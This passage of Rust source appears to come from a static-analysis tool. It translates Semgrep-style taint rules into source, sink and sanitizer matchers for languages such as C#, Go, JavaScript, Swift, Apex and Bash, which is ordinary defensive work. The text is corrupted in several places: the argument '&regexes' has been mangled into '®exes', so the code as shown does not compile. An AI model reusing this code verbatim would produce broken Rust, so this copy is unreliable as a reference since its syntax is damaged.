out.push(GenericMatcher::MethodName {
method: meth.to_string(),
description: describe(meth, role),
});
return;
}
if callee.contains("...") {
let last = callee.rsplit('.').next().unwrap_or("").trim();
if is_metavariable(last) {
if let Some(names) = regex_alternatives_for(last, metavar_regexes) {
for name in names {
out.push(GenericMatcher::MethodName {
method: name.clone(),
description: describe(&name, role),
});
}
}
return;
}
}
}
if is_metavariable(callee) {
if let Some(names) = regex_alternatives_for(callee, metavar_regexes) {
for name in names {
out.push(GenericMatcher::Call {
canonical: name.clone(),
description: describe(&name, role),
});
}
}
return;
}
if let Some(m) = compile_pattern(c, role, lang) {
if matches!(
m,
GenericMatcher::Call { .. } | GenericMatcher::MethodName { .. }
) {
out.push(m);
}
}
}
fn regex_alternatives_for(mv: &str, metavar_regexes: &[(String, String)]) -> Option<Vec<String>> {
let (_, re) = metavar_regexes.iter().find(|(m, _)| m == mv)?;
parse_anchored_alternation(re)
}
fn parse_anchored_alternation(re: &str) -> Option<Vec<String>> {
let mut body = re.trim();
body = body.strip_prefix('^').unwrap_or(body);
body = body.strip_suffix('$').unwrap_or(body);
body = body.strip_prefix("\\b").unwrap_or(body);
body = body.strip_suffix("\\b").unwrap_or(body);
if body.starts_with('(') && body.ends_with(')') {
body = &body[1..body.len() - 1];
}
if body.is_empty() {
return None;
}
let names: Vec<String> = body.split('|').map(|s| s.trim().to_string()).collect();
if names.iter().all(|n| is_identifier(n)) {
Some(names)
} else {
None
}
}
enum BareCallee {
Callee(String),
Method(String),
}
fn bare_metavar_callee(pat: &str) -> Option<BareCallee> {
let c = pat.trim().trim_end_matches(';').trim();
let normalized;
let c = if c.starts_with('(') {
match parse_typed_metavar(c) {
Some((_, metavar, remainder)) if !remainder.trim().is_empty() => {
normalized = format!("{metavar}{remainder}");
normalized.as_str()
}
_ => c,
}
} else {
c
};
let open = c.find('(')?;
let callee = c[..open].trim();
if let Some(dot) = callee.find('.') {
let recv = &callee[..dot];
let meth = &callee[dot + 1..];
if is_metavariable(recv) && is_metavariable(meth) && !meth.contains('.') {
return Some(BareCallee::Method(meth.to_string()));
}
return None;
}
if is_metavariable(callee) {
return Some(BareCallee::Callee(callee.to_string()));
}
None
}
fn collect_regex_callee_parts(
items: &[YamlValue],
callees: &mut Vec<BareCallee>,
pins: &mut Vec<(String, String)>,
) {
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (key, val) in map {
match key.as_str() {
Some("pattern") => {
if let Some(text) = val.as_str() {
if let Some(bc) = bare_metavar_callee(text) {
callees.push(bc);
}
}
}
Some("metavariable-regex") => {
if let Some(mm) = val.as_mapping() {
let mv = mm
.get(YamlValue::from("metavariable"))
.and_then(|x| x.as_str());
let re = mm.get(YamlValue::from("regex")).and_then(|x| x.as_str());
if let (Some(mv), Some(re)) = (mv, re) {
pins.push((mv.to_string(), re.to_string()));
}
}
}
Some("pattern-either") | Some("patterns") => {
if let Some(seq) = val.as_sequence() {
collect_regex_callee_parts(seq, callees, pins);
}
}
_ => {}
}
}
}
}
fn parse_single_metavar_callee(pat: &str) -> Option<(String, String, String)> {
let c = pat.trim();
let open = c.find('(')?;
if !c.ends_with(')') {
return None;
}
let callee = c[..open].trim();
if callee.matches('$').count() != 1 {
return None;
}
let dollar = callee.find('$')?;
let after = &callee[dollar + 1..];
let mv_len: usize = after
.chars()
.take_while(|ch| ch.is_ascii_uppercase() || ch.is_ascii_digit() || *ch == '_')
.map(|ch| ch.len_utf8())
.sum();
if mv_len == 0 {
return None;
}
let mv = format!("${}", &after[..mv_len]);
if !is_metavariable(&mv) {
return None;
}
let prefix = &callee[..dollar];
let suffix = &after[mv_len..];
if prefix.is_empty() || !(prefix.ends_with('.') || prefix.ends_with(':')) {
return None;
}
let concrete = |seg: &str| {
seg.chars()
.all(|ch| ch.is_ascii_alphanumeric() || ch == '_' || ch == ':' || ch == '.')
};
if !concrete(prefix) || !concrete(suffix) {
return None;
}
Some((mv, prefix.to_string(), suffix.to_string()))
}
fn collect_metavar_pattern_literals(node: &YamlValue, out: &mut Vec<String>) {
if let Some(seq) = node.as_sequence() {
for item in seq {
collect_metavar_pattern_literals(item, out);
}
return;
}
if let Some(map) = node.as_mapping() {
for (k, val) in map {
match k.as_str() {
Some("pattern") => {
if let Some(s) = val.as_str() {
let s = s.trim();
if is_identifier(s) {
out.push(s.to_string());
}
}
}
Some("patterns") | Some("pattern-either") => {
collect_metavar_pattern_literals(val, out);
}
_ => {}
}
}
}
}
fn try_compile_ruby_metavar_pattern_enum_call_block(
v: &YamlValue,
role: MatcherRole,
out: &mut Vec<GenericMatcher>,
) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut callees: Vec<(String, String, String)> = Vec::new();
let mut enums: Vec<(String, Vec<String>)> = Vec::new();
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
if map.len() != 1 {
continue;
}
let (k, val) = map.iter().next().expect("len == 1");
match k.as_str() {
Some("pattern") => {
if let Some(s) = val.as_str() {
if let Some(parts) = parse_single_metavar_callee(s) {
callees.push(parts);
}
}
}
Some("metavariable-pattern") => {
if let Some(mm) = val.as_mapping() {
let mv = mm
.get(YamlValue::from("metavariable"))
.and_then(|x| x.as_str());
if let Some(mv) = mv {
let mut names = Vec::new();
for key in ["patterns", "pattern-either", "pattern"] {
if let Some(sub) = mm.get(YamlValue::from(key)) {
collect_metavar_pattern_literals(sub, &mut names);
}
}
if !names.is_empty() {
enums.push((mv.to_string(), names));
}
}
}
}
_ => {}
}
}
if callees.is_empty() || enums.is_empty() {
return false;
}
let before = out.len();
for (mv, prefix, suffix) in &callees {
let Some((_, names)) = enums.iter().find(|(m, _)| m == mv) else {
continue;
};
for name in names {
if !is_identifier(name) {
continue;
}
let canonical = format!("{prefix}{name}{suffix}");
let dup = out
.iter()
.any(|m| matches!(m, GenericMatcher::Call { canonical: c, .. } if c == &canonical));
if !dup {
out.push(GenericMatcher::Call {
description: describe(&canonical, role),
canonical,
});
}
}
}
out.len() > before
}
fn try_compile_regex_constrained_callee_block(
v: &YamlValue,
role: MatcherRole,
rule_id: &str,
out: &mut Vec<GenericMatcher>,
) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut callees: Vec<BareCallee> = Vec::new();
let mut pins: Vec<(String, String)> = Vec::new();
collect_regex_callee_parts(items, &mut callees, &mut pins);
if callees.is_empty() || pins.is_empty() {
return false;
}
let before = out.len();
for callee in &callees {
let (mv, is_method) = match callee {
BareCallee::Callee(mv) => (mv, false),
BareCallee::Method(mv) => (mv, true),
};
let Some((_, re)) = pins.iter().find(|(m, _)| m == mv) else {
continue;
};
let regex = match crate::rules::semgrep_compat::compile_regex(re) {
Ok(r) => r,
Err(e) => {
eprintln!(
"Warning: taint rule `{}` {} `metavariable-regex` for `{}` is not a valid \
regex ({}); refusing the bare-metavariable callee (FP-safe)",
rule_id,
role.label(),
mv,
e
);
continue;
}
};
let description = describe(re, role);
if is_method {
out.push(GenericMatcher::MethodNameRegex { regex, description });
} else {
out.push(GenericMatcher::CallRegex { regex, description });
}
}
out.len() > before
}
fn metavar_receiver_concrete_method(pat: &str) -> Option<(String, String)> {
let c = pat.trim().trim_end_matches(';').trim();
let open = c.find('(')?;
if !c.ends_with(')') {
return None;
}
let callee = c[..open].trim();
let dot = callee.find('.')?;
let recv = &callee[..dot];
let method = &callee[dot + 1..];
if is_metavariable(recv) && !method.contains('.') && is_identifier(method) {
Some((recv.to_string(), method.to_string()))
} else {
None
}
}
fn collect_regex_receiver_parts(
items: &[YamlValue],
receivers: &mut Vec<(String, String)>,
pins: &mut Vec<(String, String)>,
) {
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (key, val) in map {
match key.as_str() {
Some("pattern") => {
if let Some(text) = val.as_str() {
if let Some(rm) = metavar_receiver_concrete_method(text) {
receivers.push(rm);
}
}
}
Some("metavariable-regex") => {
if let Some(mm) = val.as_mapping() {
let mv = mm
.get(YamlValue::from("metavariable"))
.and_then(|x| x.as_str());
let re = mm.get(YamlValue::from("regex")).and_then(|x| x.as_str());
if let (Some(mv), Some(re)) = (mv, re) {
pins.push((mv.to_string(), re.to_string()));
}
}
}
Some("pattern-either") => {
if let Some(seq) = val.as_sequence() {
collect_regex_receiver_parts(seq, receivers, pins);
}
}
_ => {}
}
}
}
}
fn try_compile_regex_constrained_receiver_block(
v: &YamlValue,
role: MatcherRole,
out: &mut Vec<GenericMatcher>,
) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut receivers: Vec<(String, String)> = Vec::new();
let mut pins: Vec<(String, String)> = Vec::new();
collect_regex_receiver_parts(items, &mut receivers, &mut pins);
if receivers.is_empty() || pins.is_empty() {
return false;
}
let before = out.len();
for (recv_mv, method) in &receivers {
let Some(names) = regex_alternatives_for(recv_mv, &pins) else {
continue;
};
for name in names {
let canonical = format!("{name}.{method}");
out.push(GenericMatcher::Call {
description: describe(&canonical, role),
canonical,
});
}
}
out.len() > before
}
fn try_compile_focus_regex_either_sink_block(
v: &YamlValue,
role: MatcherRole,
lang: Language,
out: &mut Vec<GenericMatcher>,
) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut shared_seeds: Vec<String> = Vec::new();
let mut either_arms: Option<&[YamlValue]> = None;
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("focus-metavariable") => {
if let Some(s) = val.as_str() {
let mv = s.trim();
if is_metavariable(mv) {
shared_seeds.push(mv.to_string());
}
}
}
Some("pattern") => {
if let Some(s) = val.as_str() {
let t = s.trim();
if is_metavariable(t) {
shared_seeds.push(t.to_string());
}
}
}
Some("pattern-either") => {
if let Some(seq) = val.as_sequence() {
either_arms = Some(seq.as_slice());
}
}
_ => {}
}
}
}
let Some(arms) = either_arms else {
return false;
};
let before = out.len();
for arm in arms {
compile_focus_regex_arm(arm, &shared_seeds, role, lang, out);
}
out.len() > before
}
fn compile_focus_regex_arm(
arm: &YamlValue,
shared_seeds: &[String],
role: MatcherRole,
lang: Language,
out: &mut Vec<GenericMatcher>,
) {
let Some(arm_map) = arm.as_mapping() else {
return;
};
let arm_items: Vec<YamlValue> = if arm_map.len() == 1 {
match arm_map.iter().next() {
Some((k, val)) if k.as_str() == Some("patterns") => match val.as_sequence() {
Some(seq) => seq.clone(),
None => return,
},
_ => vec![arm.clone()],
}
} else {
vec![arm.clone()]
};
let mut call_texts: Vec<String> = Vec::new();
let mut regexes: Vec<(String, String)> = Vec::new();
let mut seeds: Vec<String> = shared_seeds.to_vec();
for item in &arm_items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("focus-metavariable") => {
if let Some(s) = val.as_str() {
let mv = s.trim();
if is_metavariable(mv) {
seeds.push(mv.to_string());
}
}
}
Some("pattern") => {
if let Some(s) = val.as_str() {
let t = s.trim();
if is_metavariable(t) {
seeds.push(t.to_string());
} else if is_call_context_pattern(t) {
call_texts.push(t.to_string());
}
}
}
Some("pattern-inside") => {
if let Some(s) = val.as_str() {
let t = s.trim();
if is_call_context_pattern(t) {
call_texts.push(t.to_string());
}
}
}
Some("metavariable-regex") => {
if let Some(mm) = val.as_mapping() {
let mv = mm
.get(YamlValue::from("metavariable"))
.and_then(|x| x.as_str());
let re = mm.get(YamlValue::from("regex")).and_then(|x| x.as_str());
if let (Some(mv), Some(re)) = (mv, re) {
regexes.push((mv.to_string(), re.to_string()));
}
}
}
_ => {}
}
}
}
if regexes.is_empty() {
return;
}
for call in &call_texts {
if !seeds.iter().any(|seed| call_has_arg(call, seed)) {
continue;
}
let Some(method_mv) = callee_method_metavar(call) else {
continue;
};
if !regexes.iter().all(|(m, _)| m == &method_mv) {
continue;
}
let Some(names) = regex_alternatives_for(&method_mv, ®exes) else {
continue;
};
for name in names {
let concrete = concrete_callee_call(call, &method_mv, &name);
if let Some(m) = compile_pattern(&concrete, role, lang) {
if matches!(
m,
GenericMatcher::Call { .. } | GenericMatcher::MethodName { .. }
) {
out.push(m);
}
}
}
}
}
fn callee_method_metavar(call: &str) -> Option<String> {
let c = call.trim().trim_end_matches(';').trim();
let open = c.find('(')?;
let callee = c[..open].trim();
let last = match callee.rfind('.') {
Some(d) => &callee[d + 1..],
None => callee,
};
if is_metavariable(last) {
Some(last.to_string())
} else {
None
}
}
fn concrete_callee_call(call: &str, method_mv: &str, name: &str) -> String {
let c = call.trim().trim_end_matches(';').trim();
let open = c.find('(').unwrap_or(c.len());
let callee = c[..open].trim();
let concrete_callee = match callee.rfind('.') {
Some(d) if &callee[d + 1..] == method_mv => format!("{}.{}", &callee[..d], name),
_ => name.to_string(),
};
format!("{concrete_callee}(...)")
}
fn try_compile_csharp_pattern_regex_either_sink_block(
v: &YamlValue,
role: MatcherRole,
lang: Language,
out: &mut Vec<GenericMatcher>,
) -> bool {
if lang != Language::CSharp {
return false;
}
let Some(items) = v.as_sequence() else {
return false;
};
let mut either_arms: Option<&[YamlValue]> = None;
let mut regexes: Vec<(String, String)> = Vec::new();
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("pattern-either") => {
if let Some(seq) = val.as_sequence() {
either_arms = Some(seq.as_slice());
}
}
Some("metavariable-regex") => {
if let Some(mm) = val.as_mapping() {
let mv = mm
.get(YamlValue::from("metavariable"))
.and_then(|x| x.as_str());
let re = mm.get(YamlValue::from("regex")).and_then(|x| x.as_str());
if let (Some(mv), Some(re)) = (mv, re) {
regexes.push((mv.to_string(), re.to_string()));
}
}
}
_ => {}
}
}
}
let Some(arms) = either_arms else {
return false;
};
if regexes.is_empty() {
return false;
}
let before = out.len();
for arm in arms {
compile_csharp_pattern_regex_arm(arm, ®exes, role, out);
}
out.len() > before
}
fn compile_csharp_pattern_regex_arm(
arm: &YamlValue,
block_regexes: &[(String, String)],
role: MatcherRole,
out: &mut Vec<GenericMatcher>,
) {
let Some(arm_map) = arm.as_mapping() else {
return;
};
let arm_items: Vec<YamlValue> = match arm_map.iter().next() {
Some((k, val)) if arm_map.len() == 1 && k.as_str() == Some("patterns") => {
match val.as_sequence() {
Some(seq) => seq.clone(),
None => return,
}
}
_ => vec![arm.clone()],
};
let mut patterns: Vec<String> = Vec::new();
let mut focus: Vec<String> = Vec::new();
let mut regexes: Vec<(String, String)> = block_regexes.to_vec();
for item in &arm_items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("pattern") => {
if let Some(s) = val.as_str() {
patterns.push(s.trim().to_string());
}
}
Some("focus-metavariable") => {
if let Some(s) = val.as_str() {
let mv = s.trim();
if is_metavariable(mv) {
focus.push(mv.to_string());
}
}
}
Some("metavariable-regex") => {
if let Some(mm) = val.as_mapping() {
let mv = mm
.get(YamlValue::from("metavariable"))
.and_then(|x| x.as_str());
let re = mm.get(YamlValue::from("regex")).and_then(|x| x.as_str());
if let (Some(mv), Some(re)) = (mv, re) {
regexes.push((mv.to_string(), re.to_string()));
}
}
}
_ => {}
}
}
}
let (Some(pattern), Some(focus_mv)) = (patterns.first(), focus.first()) else {
return;
};
if let Some((class_names, arg_index)) = parse_constructor_arg_arm(pattern, focus_mv, ®exes) {
out.push(GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description: describe(&format!("new {pattern}"), role),
});
} else if let Some(property_names) = parse_property_assign_arm(pattern, focus_mv, ®exes) {
out.push(GenericMatcher::PropertyAssignSink {
property_names,
description: describe(pattern, role),
});
}
}
fn parse_constructor_arg_arm(
pattern: &str,
focus_mv: &str,
regexes: &[(String, String)],
) -> Option<(Vec<String>, usize)> {
let p = pattern.trim().trim_end_matches(';').trim();
let rest = p.strip_prefix("new ")?.trim_start();
let open = rest.find('(')?;
if !rest.trim_end().ends_with(')') {
return None;
}
let class_mv = rest[..open].trim();
if !is_metavariable(class_mv) {
return None;
}
let class_names = regex_alternatives_for(class_mv, regexes)?;
let close = rest.rfind(')')?;
let args = &rest[open + 1..close];
let arg_index = split_top_level_commas(args)
.iter()
.position(|a| a.trim() == focus_mv)?;
Some((class_names, arg_index))
}
fn parse_property_assign_arm(
pattern: &str,
focus_mv: &str,
regexes: &[(String, String)],
) -> Option<Vec<String>> {
let p = pattern.trim().trim_end_matches(';').trim();
let (lhs, rhs) = p.split_once('=')?;
let lhs = lhs.trim();
let rhs = rhs.trim();
if rhs != focus_mv {
return None;
}
let dot = lhs.rfind('.')?;
let recv = lhs[..dot].trim();
let prop_mv = lhs[dot + 1..].trim();
if !is_metavariable(recv) || !is_metavariable(prop_mv) {
return None;
}
regex_alternatives_for(prop_mv, regexes)
}
fn parse_js_literal_arg_call_source(pat: &str) -> Option<(String, String)> {
let p = pat.trim();
let open = p.find('(')?;
if !p.ends_with(')') {
return None;
}
let callee = p[..open].trim();
let args = p[open + 1..p.len() - 1].trim();
let dot = callee.rfind('.')?;
let recv = callee[..dot].trim();
let method = callee[dot + 1..].trim();
if !is_metavariable(recv) || !is_identifier(method) {
return None;
}
let inner = string_literal_inner(args)?;
Some((method.to_string(), inner.to_string()))
}
fn string_literal_inner(s: &str) -> Option<&str> {
let s = s.trim();
if s.len() >= 2
&& ((s.starts_with('"') && s.ends_with('"')) || (s.starts_with('\'') && s.ends_with('\'')))
{
let inner = &s[1..s.len() - 1];
if !inner.contains('"') && !inner.contains('\'') {
return Some(inner);
}
}
None
}
fn try_compile_js_member_assign_regex_block(
v: &YamlValue,
role: MatcherRole,
lang: Language,
out: &mut Vec<GenericMatcher>,
) -> bool {
if lang != Language::JavaScript {
return false;
}
if !matches!(role, MatcherRole::Sink | MatcherRole::Sanitizer) {
return false;
}
let Some(items) = v.as_sequence() else {
return false;
};
let mut patterns: Vec<String> = Vec::new();
let mut regexes: Vec<(String, String)> = Vec::new();
let mut focus: Vec<String> = Vec::new();
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("pattern") => {
if let Some(s) = val.as_str() {
patterns.push(s.trim().to_string());
}
}
Some("pattern-either") => {
if let Some(seq) = val.as_sequence() {
for arm in seq {
if let Some(am) = arm.as_mapping() {
if let Some(p) =
am.get(YamlValue::from("pattern")).and_then(|x| x.as_str())
{
patterns.push(p.trim().to_string());
}
}
}
}
}
Some("focus-metavariable") => {
if let Some(s) = val.as_str() {
let mv = s.trim();
if is_metavariable(mv) {
focus.push(mv.to_string());
}
}
}
Some("metavariable-regex") => {
if let Some(mm) = val.as_mapping() {
let mv = mm
.get(YamlValue::from("metavariable"))
.and_then(|x| x.as_str());
let re = mm.get(YamlValue::from("regex")).and_then(|x| x.as_str());
if let (Some(mv), Some(re)) = (mv, re) {
regexes.push((mv.to_string(), re.to_string()));
}
}
}
_ => {}
}
}
}
let Some(focus_mv) = focus.first() else {
return false;
};
if regexes.is_empty() {
return false;
}
let mut fields: Vec<String> = Vec::new();
for pat in &patterns {
if let Some(names) = parse_js_member_assign_field_arm(pat, focus_mv, ®exes) {
for name in names {
if !fields.contains(&name) {
fields.push(name);
}
}
}
}
if fields.is_empty() {
return false;
}
let before = out.len();
for field in fields {
out.push(GenericMatcher::MemberAssign {
description: describe(&field, role),
field,
});
}
out.len() > before
}
fn parse_js_member_assign_field_arm(
pattern: &str,
focus_mv: &str,
regexes: &[(String, String)],
) -> Option<Vec<String>> {
let p = pattern.trim().trim_end_matches(';').trim();
let (lhs, rhs) = p.split_once('=')?;
if rhs.starts_with('=') {
return None;
}
if rhs.trim() != focus_mv {
return None;
}
let lhs = lhs.trim();
let dot = lhs.rfind('.')?;
let prop_mv = lhs[dot + 1..].trim();
if !is_metavariable(prop_mv) {
return None;
}
regex_alternatives_for(prop_mv, regexes)
}
fn compile_bash_pattern(pat: &str, role: MatcherRole) -> Option<GenericMatcher> {
let rhs = match pat.split_once('=') {
Some((lhs, rhs)) if lhs.trim_start_matches('$').chars().all(is_ident_char) => rhs.trim(),
_ => pat,
};
let inner = if let Some(stripped) = rhs.strip_prefix("$(") {
stripped.strip_suffix(')').unwrap_or(stripped).trim()
} else if let Some(stripped) = rhs.strip_prefix('`') {
stripped.strip_suffix('`').unwrap_or(stripped).trim()
} else {
rhs
};
let cmd = match role {
MatcherRole::Source => {
if let Some((_, after_pipe)) = inner.rsplit_once('|') {
first_token(after_pipe)
} else {
first_token(inner)
}
}
MatcherRole::Sink | MatcherRole::Sanitizer => first_token(inner),
}?;
if cmd.is_empty() || !cmd.chars().all(is_ident_char) {
return None;
}
Some(GenericMatcher::Call {
canonical: cmd.to_string(),
description: describe(cmd, role),
})
}
fn first_token(s: &str) -> Option<&str> {
s.trim().trim_start_matches('(').split_whitespace().next()
}
fn is_ident_char(c: char) -> bool {
c.is_ascii_alphanumeric() || c == '_' || c == '-'
}
fn is_function_signature_source(pat: &str) -> bool {
let pat = pat.trim();
let starts_fn = pat.starts_with("function ") || pat.starts_with("def ");
if !starts_fn {
return false;
}
pat.contains('(') && pat.contains('$')
}
enum CsharpSignatureSource {
FirstParam,
LocalString,
}
fn parse_csharp_signature_source(pat: &str) -> Option<CsharpSignatureSource> {
let p = pat.trim();
if !p.starts_with('$') {
return None;
}
let open = p.find('(')?;
let head_parts: Vec<&str> = p[..open].split_whitespace().collect();
if head_parts.len() != 2 || !head_parts.iter().all(|t| is_metavariable(t)) {
return None;
}
let close_rel = p[open..].find(')')?;
let params = p[open + 1..open + close_rel].trim();
let rest = p[open + close_rel + 1..].trim();
if !rest.starts_with('{') {
return None;
}
if params.starts_with('$') {
return Some(CsharpSignatureSource::FirstParam);
}
if params == "..." && body_declares_string_local(rest) {
return Some(CsharpSignatureSource::LocalString);
}
None
}
fn body_declares_string_local(body: &str) -> bool {
let mut rest = body;
while let Some(idx) = rest.find("string") {
let after = &rest[idx + "string".len()..];
let trimmed = after.trim_start();
if after.len() != trimmed.len() && trimmed.starts_with('$') && after.contains(';') {
return true;
}
rest = &rest[idx + "string".len()..];
}
false
}
fn parse_csharp_concat_call_sink(pat: &str) -> Option<String> {
let p = pat.trim().trim_end_matches(';').trim_end();
let eq = find_single_assignment(p)?;
let rhs = p[eq + 1..].trim();
if !rhs.starts_with('$') || !rhs.ends_with(')') {
return None;
}
let open = rhs.find('(')?;
let callee = rhs[..open].trim();
let dot = callee.rfind('.')?;
let recv = callee[..dot].trim();
let method = callee[dot + 1..].trim();
if !is_metavariable(recv) || !is_identifier(method) {
return None;
}
let args = rhs[open + 1..rhs.len() - 1].trim();
if args.contains('+') && args.contains('"') && args.contains('$') {
return Some(method.to_string());
}
None
}
fn is_swift_string_construction_source(pat: &str) -> bool {
let p = pat.trim();
if p.starts_with('"') && p.contains("\\(") && p.contains('$') {
return true;
}
if let Some(eq) = find_single_assignment(p) {
let rhs = p[eq + 1..].trim();
if rhs.contains('+') && rhs.contains('"') && rhs.contains('$') {
return true;
}
}
false
}
fn parse_apex_chained_call_source(pat: &str) -> Option<String> {
let p = pat.trim();
if !p.ends_with(')') {
return None;
}
let open = p.find('(')?;
let last_call_open = p.rfind('(')?;
let callee_chain = p[..last_call_open].trim();
let method = callee_chain.rsplit('.').next()?;
if method.is_empty()
|| !method
.chars()
.all(|c| c.is_ascii_alphanumeric() || c == '_')
{
return None;
}
let root_end = callee_chain.find(['.', '(']).unwrap_or(callee_chain.len());
let root = callee_chain[..root_end].trim();
if root.is_empty() || !root.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') {
return None;
}
let has_inner_call = open < last_call_open;
if !has_inner_call {
return None;
}
let args = &p[last_call_open + 1..p.len() - 1];
if !args.contains('$') {
return None;
}
Some(format!("{root}.{method}"))
}
fn is_ellipsis_string_literal(pat: &str) -> bool {
let t = pat.trim();
t == "\"...\"" || t == "'...'"
}
fn is_go_bytes_string_literal_source(pat: &str) -> bool {
let t = pat.trim();
let Some(inner) = t.strip_prefix("[]byte(").and_then(|s| s.strip_suffix(')')) else {
return false;
};
let inner = inner.trim();
let content = if let Some(c) = inner.strip_prefix('"').and_then(|s| s.strip_suffix('"')) {
c
} else if let Some(c) = inner.strip_prefix('`').and_then(|s| s.strip_suffix('`')) {
c
} else {
return false;
};
let content = content.trim();
content == "..." || is_metavariable(content)
}
fn try_compile_go_bytes_literal_source_block(
v: &YamlValue,
lang: Language,
out: &mut Vec<GenericMatcher>,
) -> bool {
if lang != Language::Go {
return false;
}
let Some(items) = v.as_sequence() else {
return false;
};
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
if matches!(k.as_str(), Some("pattern") | Some("pattern-inside")) {
if let Some(text) = val.as_str() {
if is_go_bytes_string_literal_source(text) {
out.push(GenericMatcher::LiteralString {
description: "hardcoded `[]byte(\"...\")` string literal".to_string(),
regex: None,
});
return true;
}
}
}
}
}
false
}
fn compile_pattern(pattern: &str, role: MatcherRole, lang: Language) -> Option<GenericMatcher> {
let mut pat = pattern.trim();
if pat.is_empty() {
return None;
}
if matches!(lang, Language::Solidity | Language::Apex | Language::Php) {
pat = pat.trim_end_matches(';').trim_end();
}
if let MatcherRole::Source = role {
if is_ellipsis_string_literal(pat) {
return Some(GenericMatcher::LiteralString {
description: "hardcoded string literal".to_string(),
regex: None,
});
}
}
if let MatcherRole::Source = role {
if lang == Language::JavaScript {
if let Some((method, arg)) = parse_js_literal_arg_call_source(pat) {
return Some(GenericMatcher::LiteralArgCall {
description: format!("value derived from `.{method}(\"{arg}\")`"),
method,
arg,
});
}
}
}
if lang == Language::Swift {
if let MatcherRole::Source = role {
if is_swift_string_construction_source(pat) {
return Some(GenericMatcher::ParamName {
names: vec![swift_taint::STRING_CONSTRUCTION_SENTINEL.to_string()],
description: "dynamically constructed string".to_string(),
});
}
}
}
if lang == Language::Apex {
if let MatcherRole::Source = role {
if let Some(canonical) = parse_apex_chained_call_source(pat) {
return Some(GenericMatcher::Call {
description: format!("untrusted `{canonical}` request input"),
canonical,
});
}
}
}
if lang == Language::Java || lang == Language::CSharp {
if let Some((type_text, metavar, remainder)) = parse_typed_metavar(pat) {
let type_seg = type_final_segment(type_text);
match role {
MatcherRole::Source => {
return Some(GenericMatcher::TypedName {
type_name: type_seg.to_string(),
description: format!("untrusted `{type_seg}` typed value"),
});
}
MatcherRole::Sink | MatcherRole::Sanitizer => {
let rem = remainder.trim();
if let Some(rhs) = rem.strip_prefix('=') {
if !rhs.starts_with('=') {
return Some(GenericMatcher::TypedAssignTarget {
type_name: type_seg.to_string(),
description: format!(
"tainted value assigned to `{type_seg}` variable"
),
});
}
}
if rem.is_empty() {
return None;
}
let rewritten = format!("{metavar}{rem}");
return compile_pattern(&rewritten, role, lang);
}
}
}
}
if lang == Language::CSharp {
match role {
MatcherRole::Source => {
if let Some(kind) = parse_csharp_signature_source(pat) {
return Some(match kind {
CsharpSignatureSource::FirstParam => GenericMatcher::FirstParamSource {
description: "method's first parameter (untrusted input)".to_string(),
},
CsharpSignatureSource::LocalString => GenericMatcher::TypedName {
type_name: "string".to_string(),
description: "local `string` variable (untrusted input)".to_string(),
},
});
}
}
MatcherRole::Sink | MatcherRole::Sanitizer => {
if let Some(method) = parse_csharp_concat_call_sink(pat) {
let description =
format!("XPath query built by concatenation into `.{method}(...)`");
return Some(GenericMatcher::CallArgConcat {
method,
description,
});
}
}
}
}
if lang == Language::Go {
if let MatcherRole::Source = role {
if is_go_bytes_string_literal_source(pat) {
return Some(GenericMatcher::LiteralString {
description: "hardcoded `[]byte(\"...\")` string literal".to_string(),
regex: None,
});
}
}
if let Some((type_text, metavar, remainder)) = parse_go_typed_metavar(pat) {
let type_name = normalize_go_type(type_text);
match role {
MatcherRole::Source => {
return Some(GenericMatcher::TypedName {
description: format!("untrusted `{type_name}` typed value"),
type_name,
});
}
MatcherRole::Sink | MatcherRole::Sanitizer => {
let rem = remainder.trim();
if rem.is_empty() {
return None;
}
let rewritten = format!("{metavar}{rem}");
return compile_pattern(&rewritten, role, lang);
}
}
}
}
if lang == Language::Bash {
if let Some(m) = compile_bash_pattern(pat, role) {
return Some(m);
}
}
if matches!(lang, Language::Solidity | Language::Scala) {
if let MatcherRole::Source = role {
if is_function_signature_source(pat) {
return Some(GenericMatcher::ParamName {
names: vec!["$PARAM".to_string()],
description: "untrusted function parameter".to_string(),
});
}
}
}
if is_object_literal_value_pattern(pat) {
return match role {
MatcherRole::Sink | MatcherRole::Sanitizer => {
Some(GenericMatcher::ObjectLiteralValue {
description: describe(pat, role),
})
}
MatcherRole::Source => None,
};
}
if let Some(()) = parse_return_metavar(pat) {
return match role {
MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::ReturnValue {
description: describe(pat, role),
}),
MatcherRole::Source => None,
};
}
if lang == Language::Python {
if let MatcherRole::Source = role {
if is_python_string_construction_source(pat) {
return Some(GenericMatcher::BinopFormat {
description: describe(pat, role),
});
}
}
}
if lang == Language::Php && is_loose_equality_pattern(pat) {
return match role {
MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::LooseEquality {
description: describe(pat, role),
}),
MatcherRole::Source => None,
};
}
if is_binop_format_pattern(pat) {
return match role {
MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::BinopFormat {
description: describe(pat, role),
}),
MatcherRole::Source => None,
};
}
if let Some(base) = parse_subscript_base(pat) {
let desc = match &base {
Some(b) => describe(b, role),
None => describe(pat, role),
};
return Some(GenericMatcher::Subscript {
base,
description: desc,
});
}
if let Some(field) = parse_member_assign_pattern(pat) {
return match role {
MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::MemberAssign {
field: field.to_string(),
description: describe(field, role),
}),
MatcherRole::Source => None,
};
}
if lang == Language::Ruby {
if let MatcherRole::Source = role {
if is_ruby_constant_path(pat) {
return Some(GenericMatcher::Call {
canonical: pat.to_string(),
description: describe(pat, role),
});
}
}
}
